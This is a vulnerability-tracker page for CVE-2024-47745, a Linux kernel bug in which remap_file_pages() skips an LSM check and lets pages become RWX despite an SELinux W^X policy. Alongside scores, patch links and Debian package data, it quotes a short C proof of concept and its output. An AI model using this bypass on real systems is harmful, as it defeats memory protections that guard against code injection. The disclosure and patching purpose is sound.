CVE-2024-47745

HIGHNVD 7.87.8
EchelonGraph scoreMEDIUM confidence

Score 7.8 from GitHub Security Advisory (severity: HIGH) published 2024-10-21. NVD baseline CVSS 7.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: epss, ghsa, nvd
7.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: 0%CVSS: 7.8Exploit: None knownExposed: 0

A fix is available — apply it.

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

CVSS v3
7.8
EG Score
7.8(medium)
EG Risk
35(Track)
EG Risk 35/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity78% × 45%
Exploitation0% × 40%
Automatability0% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
0%
EPSS %ILE
21%
KEV
Not listed

Published

October 21, 2024

Last Modified

August 5, 2026

Advisory Details (6)

Auto-updated Aug 4, 2026
Patch available.
generic Patch Available

[SECURITY] [DLA 4076-1] linux-6.1 security update

https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html
generic

mm: call the security_mmap_file() LSM hook in remap_file_pages() - kernel/git/stable/linux.git - Linux kernel stable tree

https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
generic

mm: call the security_mmap_file() LSM hook in remap_file_pages() - kernel/git/stable/linux.git - Linux kernel stable tree

https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
generic

mm: call the security_mmap_file() LSM hook in remap_file_pages() - kernel/git/stable/linux.git - Linux kernel stable tree

https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
generic

mm: call the security_mmap_file() LSM hook in remap_file_pages() - kernel/git/stable/linux.git - Linux kernel stable tree

https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
generic

mm: call the security_mmap_file() LSM hook in remap_file_pages() - kernel/git/stable/linux.git - Linux kernel stable tree

https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1

Patch Availability(20)

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(5 across 4 ecosystems)
Debian:11(2)
PackageVulnerable rangeFixed inDependents
linux5.10.103-1 ... 7.2~rc5-1~exp1 (498 versions)
linux-6.16.1.106-3~deb11u1, 6.1.106-3~deb11u2, 6.1.106-3~deb11u3, 6.1.112-1~deb11u1, 6.1.119-1~deb11u16.1.128-1~deb11u1
Debian:12(1)
PackageVulnerable rangeFixed inDependents
linux6.1.106-1 ... 6.1.99-1 (32 versions)6.1.123-1
Debian:13(1)
PackageVulnerable rangeFixed inDependents
linux6.11.2-1
Debian:14(1)
PackageVulnerable rangeFixed inDependents
linux6.11.2-1

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Additional Vendor Advisories

(16)

Data Freshness Timeline

(refreshed 7× in last 7d / 32× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 162 total refreshes for this CVE.

  1. 2026-09-07 16:00 UTCEPSS rescore
  2. 2026-09-07 08:48 UTCOSV refresh
  3. 2026-09-06 13:46 UTCEPSS rescore
  4. 2026-09-06 13:46 UTCEPSS rescore
  5. 2026-09-04 13:59 UTCEPSS rescore
  6. 2026-09-04 05:05 UTCEPSS rescore
  7. 2026-09-02 14:10 UTCEPSS rescore
  8. 2026-09-01 13:52 UTCEPSS rescore
  9. 2026-09-01 13:52 UTCEPSS rescore
  10. 2026-09-01 04:37 UTCEPSS rescore
  11. 2026-08-30 19:16 UTCEPSS rescore
  12. 2026-08-30 01:20 UTCEPSS rescore
  13. 2026-08-28 21:39 UTCEPSS rescore
  14. 2026-08-27 14:23 UTCEPSS rescore
  15. 2026-08-26 14:44 UTCEPSS rescore
  16. 2026-08-25 13:47 UTCEPSS rescore
  17. 2026-08-24 14:15 UTCEPSS rescore
  18. 2026-08-23 00:18 UTCEPSS rescore
  19. 2026-08-21 23:47 UTCEPSS rescore
  20. 2026-08-20 22:54 UTCEPSS rescore
  21. 2026-08-20 18:31 UTCOSV refresh
  22. 2026-08-19 17:02 UTCEPSS rescore
  23. 2026-08-19 17:02 UTCEPSS rescore
  24. 2026-08-18 13:46 UTCEPSS rescore
  25. 2026-08-17 13:45 UTCEPSS rescore
Show 75 more
  1. 2026-08-16 14:54 UTCEPSS rescore
  2. 2026-08-16 02:13 UTCEPSS rescore
  3. 2026-08-15 01:29 UTCEPSS rescore
  4. 2026-08-13 21:59 UTCEPSS rescore
  5. 2026-08-12 13:49 UTCEPSS rescore
  6. 2026-08-11 13:40 UTCEPSS rescore
  7. 2026-08-10 23:58 UTCEPSS rescore
  8. 2026-08-09 13:45 UTCEPSS rescore
  9. 2026-08-08 16:35 UTCEPSS rescore
  10. 2026-08-07 16:25 UTCEPSS rescore
  11. 2026-08-06 13:45 UTCEPSS rescore
  12. 2026-08-05 19:16 UTCEPSS rescore
  13. 2026-08-05 11:58 UTCEG score recompute
  14. 2026-08-05 11:58 UTCVendor advisory
  15. 2026-08-05 11:58 UTCGHSA enrichment
  16. 2026-08-04 15:08 UTCEPSS rescore
  17. 2026-08-04 11:45 UTCEG score recompute
  18. 2026-08-04 11:45 UTCVendor advisory
  19. 2026-08-04 11:45 UTCGHSA enrichment
  20. 2026-08-04 10:36 UTCEPSS rescore
  21. 2026-08-02 02:25 UTCEPSS rescore
  22. 2026-08-01 04:14 UTCEPSS rescore
  23. 2026-08-01 04:14 UTCEPSS rescore
  24. 2026-07-30 16:26 UTCEPSS rescore
  25. 2026-07-30 01:29 UTCEPSS rescore
  26. 2026-07-28 15:35 UTCEPSS rescore
  27. 2026-07-28 09:24 UTCOSV refresh
  28. 2026-07-27 14:11 UTCEPSS rescore
  29. 2026-07-26 14:53 UTCEPSS rescore
  30. 2026-07-26 14:53 UTCEPSS rescore
  31. 2026-07-25 14:17 UTCEPSS rescore
  32. 2026-07-25 14:16 UTCEPSS rescore
  33. 2026-07-24 14:16 UTCEPSS rescore
  34. 2026-07-23 14:17 UTCEPSS rescore
  35. 2026-07-23 14:17 UTCEPSS rescore
  36. 2026-07-23 02:41 UTCEG score recompute
  37. 2026-07-22 14:07 UTCEPSS rescore
  38. 2026-07-22 14:07 UTCEPSS rescore
  39. 2026-07-21 15:23 UTCEPSS rescore
  40. 2026-07-20 17:06 UTCEPSS rescore
  41. 2026-07-19 14:30 UTCEPSS rescore
  42. 2026-07-19 14:30 UTCEPSS rescore
  43. 2026-07-19 02:28 UTCEPSS rescore
  44. 2026-07-19 02:28 UTCEPSS rescore
  45. 2026-07-18 10:03 UTCEPSS rescore
  46. 2026-07-18 10:03 UTCEPSS rescore
  47. 2026-07-16 17:02 UTCEPSS rescore
  48. 2026-07-15 16:57 UTCEPSS rescore
  49. 2026-07-15 16:56 UTCEPSS rescore
  50. 2026-07-15 01:59 UTCEPSS rescore
  51. 2026-07-15 01:59 UTCEPSS rescore
  52. 2026-07-13 22:29 UTCEPSS rescore
  53. 2026-07-13 06:12 UTCEPSS rescore
  54. 2026-07-12 05:45 UTCEPSS rescore
  55. 2026-07-12 05:45 UTCEPSS rescore
  56. 2026-07-11 08:26 UTCEPSS rescore
  57. 2026-07-11 01:22 UTCOSV refresh
  58. 2026-07-09 19:09 UTCEPSS rescore
  59. 2026-07-09 19:09 UTCEPSS rescore
  60. 2026-07-08 15:14 UTCEPSS rescore
  61. 2026-07-07 13:45 UTCEPSS rescore
  62. 2026-07-06 16:26 UTCEPSS rescore
  63. 2026-07-06 02:22 UTCEPSS rescore
  64. 2026-07-05 02:29 UTCEPSS rescore
  65. 2026-07-04 06:30 UTCEPSS rescore
  66. 2026-07-01 15:05 UTCEPSS rescore
  67. 2026-06-30 23:21 UTCEPSS rescore
  68. 2026-06-29 14:05 UTCEPSS rescore
  69. 2026-06-28 14:07 UTCEPSS rescore
  70. 2026-06-28 04:55 UTCEPSS rescore
  71. 2026-06-28 04:55 UTCEPSS rescore
  72. 2026-06-27 03:07 UTCEPSS rescore
  73. 2026-06-27 03:07 UTCEPSS rescore
  74. 2026-06-25 13:49 UTCEPSS rescore
  75. 2026-06-24 14:04 UTCEPSS rescore

Frequently asked(5)

What is CVE-2024-47745?
CVE-2024-47745 is a high vulnerability published on October 21, 2024. In the Linux kernel, the following vulnerability has been resolved: mm: call the securitymmapfile() LSM hook in remapfilepages() The remapfilepages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READIMPLIESEXEC)…
When was CVE-2024-47745 disclosed?
CVE-2024-47745 was first published in the National Vulnerability Database on October 21, 2024, with the most recent update on August 5, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2024-47745 actively exploited?
CVE-2024-47745 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 0% probability of exploitation in the next 30 days, which ranks it in the top 79.2% of all scored CVEs.
What is the CVSS score of CVE-2024-47745?
CVE-2024-47745 has a CVSS v3 base score of 7.8 (NVD).
How do I remediate CVE-2024-47745?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2024-47745, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2024-47745

Explore →

Is Your Infrastructure Affected by CVE-2024-47745?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.